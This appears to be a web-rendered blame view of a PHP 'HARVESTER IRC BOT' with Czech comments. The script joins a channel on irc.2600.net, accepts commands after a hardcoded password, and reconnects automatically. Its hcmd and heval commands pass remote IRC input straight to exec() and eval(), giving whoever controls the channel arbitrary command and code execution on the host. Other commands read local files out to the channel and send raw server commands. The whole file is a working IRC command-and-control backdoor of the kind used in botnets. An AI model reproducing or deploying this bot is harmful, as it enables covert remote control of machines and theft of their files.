Commit | Line | Data |
---|---|---|
8de51304 H |
1 | <?php\r |
2 | //HARVESTER IRC BOT\r | |
3 | \r | |
4 | //Settings:\r | |
5 | $server = "irc.2600.net";\r | |
6 | $port = "6667";\r | |
7 | $channel = "#harviez";\r | |
8 | $nick = ("hircz".time());\r | |
9 | $pass = "omnibus";\r | |
10 | $loged = FALSE;\r | |
11 | echo("-NICK: $nick\n"); \r | |
12 | error_reporting(0);\r | |
13 | error_reporting(E_ERROR);\r | |
14 | \r | |
15 | //Functions:\r | |
16 | function irc_connect( $fp, $nick, $channel, $joinwait ) {\r | |
17 | fwrite($fp, "USER USER $nick # # :$nick\n");\r | |
18 | fwrite($fp, "NICK $nick\n");\r | |
19 | //sleep($joinwait);\r | |
20 | fwrite($fp, "JOIN $channel\n");\r | |
21 | }\r | |
22 | \r | |
23 | function irc_say( $fp, $msg, $nick, $rcpto ) {\r | |
24 | //fwrite($fp, ":$nick!~Harvie@r3ax157.net.upc.cz PRIVMSG $rcpto :$msg\n");\r | |
25 | fwrite($fp, ": PRIVMSG $rcpto :$msg\n");\r | |
26 | }\r | |
27 | \r | |
28 | //Code:\r | |
29 | //Init:\r | |
30 | $jokes = file($jokefile);\r | |
31 | $spam = "";\r | |
32 | $rfile = "";\r | |
33 | \r | |
34 | while(1) { //Auto reconnect\r | |
35 | \r | |
36 | fclose($sfp);\r | |
37 | $sfp = "";\r | |
38 | $sfp = fsockopen ($server, $port, &$errno, &$errstr, 5);\r | |
39 | irc_connect( $sfp, $nick, $channel, 0 );\r | |
40 | $home_channel = $channel;\r | |
41 | \r | |
42 | while(!fwrite($sfp, "")) {\r | |
43 | \r | |
44 | fwrite($sfp, "JOIN $channel\n");\r | |
45 | \r | |
46 | //ReadLine from IRC Server\r | |
47 | $line = (fgets($sfp));\r | |
48 | $words = (explode(" ", $line));\r | |
49 | $commands = (explode(":", $line));\r | |
50 | echo($line);\r | |
51 | \r | |
52 | while(!fwrite($sfp, "") && !$loged) {/////////////////////////////////\r | |
53 | fwrite($sfp, "JOIN $channel\n");\r | |
54 | $line = (fgets($sfp));\r | |
55 | $words = (explode(" ", $line));\r | |
56 | $commands = (explode(":", $line));\r | |
57 | echo($line);\r | |
58 | if (trim($commands[2]) == "hlogin" && trim($commands[3]) != $pass)\r | |
59 | { $loged = FALSE; echo("-UNLOGED\n"); }\r | |
60 | if (trim($commands[2]) == "hlogin" && trim($commands[3]) == $pass)\r | |
61 | { $loged = TRUE; echo("-LOGED\n"); }\r | |
62 | \r | |
63 | \r | |
64 | //IRC Sever PING/PONG Response\r | |
65 | if ($words[0] == "PING") {\r | |
66 | fwrite($sfp, "PONG ".trim($words[1])."\n");\r | |
67 | echo("-PONG ".trim($words[1])."\n");\r | |
68 | }\r | |
69 | }////////////////////////////////////////////////////////\r | |
70 | \r | |
71 | //Logout\r | |
72 | if (trim($commands[2]) == "hlogin" && trim($commands[3]) != $pass)\r | |
73 | { $loged = FALSE; echo("-UNLOGED\n"); }\r | |
74 | \r | |
75 | //IRC Sever PING/PONG Response\r | |
76 | if ($words[0] == "PING") {\r | |
77 | fwrite($sfp, "PONG ".trim($words[1])."\n");\r | |
78 | echo("-PONG ".trim($words[1])."\n");\r | |
79 | }\r | |
80 | \r | |
81 | //hplay:file - Prehraje soubor\r | |
82 | if ( trim($commands[2]) == "hplay") {\r | |
83 | if ( is_file( trim($commands[3]) ) ) {\r | |
84 | $rfile = fopen( trim($commands[3]), "r");\r | |
85 | }\r | |
86 | else\r | |
87 | {\r | |
88 | fclose($rfile);\r | |
89 | $rfile = "";\r | |
90 | }\r | |
91 | echo("-FILE: ".trim($commands[3])."\n");\r | |
92 | }\r | |
93 | \r | |
94 | if ( $rfile != "" ) {\r | |
95 | irc_say( $sfp, fgetss($rfile), $nick, $channel );\r | |
96 | }\r | |
97 | \r | |
98 | //hhelp - vypise tuto napovedu\r | |
99 | if ( trim($commands[2]) == "hhelp") {\r | |
100 | irc_say( $sfp, "Run out of here man!!!", $nick, $channel );\r | |
101 | echo("-HELPED"."\n");\r | |
102 | }\r | |
103 | \r | |
104 | //hsay:Message - Posle zpravu\r | |
105 | if ( trim($commands[2]) == "hsay") {\r | |
106 | irc_say( $sfp, trim($commands[3]), $nick, $channel );\r | |
107 | echo("-SAID: ".trim($commands[3])."\n");\r | |
108 | }\r | |
109 | \r | |
110 | //hdo:Command - Posle serveru prikaz\r | |
111 | if ( trim($commands[2]) == "hdo") {\r | |
112 | $hdo = explode("hdo:", $line);\r | |
113 | fwrite( $sfp, trim($hdo[1])."\n" );\r | |
114 | echo("-DONE: ".trim($hdo[1])."\n");\r | |
115 | }\r | |
116 | \r | |
117 | //hcmd:Command - Spusti prikaz\r | |
118 | if ( trim($commands[2]) == "hcmd") {\r | |
119 | exec(trim($commands[3]));\r | |
120 | irc_say( $sfp, trim($commands[3]), $nick, $channel );\r | |
121 | echo("-CMD: ".trim($commands[3])."\n");\r | |
122 | }\r | |
123 | \r | |
124 | //heval:Command - Spusti php prikaz\r | |
125 | if ( trim($commands[2]) == "heval") {\r | |
126 | eval(trim($commands[3]));\r | |
127 | irc_say( $sfp, trim($commands[3]), $nick, $channel );\r | |
128 | echo("-EVALCMD: ".trim($commands[3])."\n");\r | |
129 | }\r | |
130 | \r | |
131 | //hpart:Channel - Odpoji se z kanalu\r | |
132 | if ( trim($commands[2]) == "hpart") {\r | |
133 | $hdo = explode("hpart:", $line);\r | |
134 | if ( trim($hdo[1]) != trim($home_channel) ) {\r | |
135 | fwrite( $sfp, "PART :".trim($hdo[1])."\n" );\r | |
136 | echo("-PARTED: ".trim($hdo[1])."\n");\r | |
137 | }\r | |
138 | }\r | |
139 | \r | |
140 | //hmove:Channel - Zmeni aktivni kanal\r | |
141 | if ( trim($commands[2]) == "hmove") {\r | |
142 | $hdo = explode("hmove:", $line);\r | |
143 | if ( trim($hdo[1]) != trim($home_channel) ) {\r | |
144 | $home_channel = trim($hdo[1]);\r | |
145 | fwrite($sfp, "JOIN $home_channel\n");\r | |
146 | irc_say( $sfp, "Hi, im here...", $nick, $home_channel );\r | |
147 | echo("-ACTIVATED: ".trim($hdo[1])."\n");\r | |
148 | }\r | |
149 | }\r | |
150 | \r | |
151 | //htime - udaje o casu\r | |
152 | if ( trim($commands[2]) == "htime") {\r | |
153 | $msg = implode("-", getdate(time()));\r | |
154 | irc_say( $sfp, trim($msg), $nick, $channel );\r | |
155 | echo("-TIMED"."\n");\r | |
156 | }\r | |
157 | \r | |
158 | }\r | |
159 | echo("-Connection lost.\n-Reconnecting\n");\r | |
160 | }\r | |
161 | \r | |
162 | ?>\r |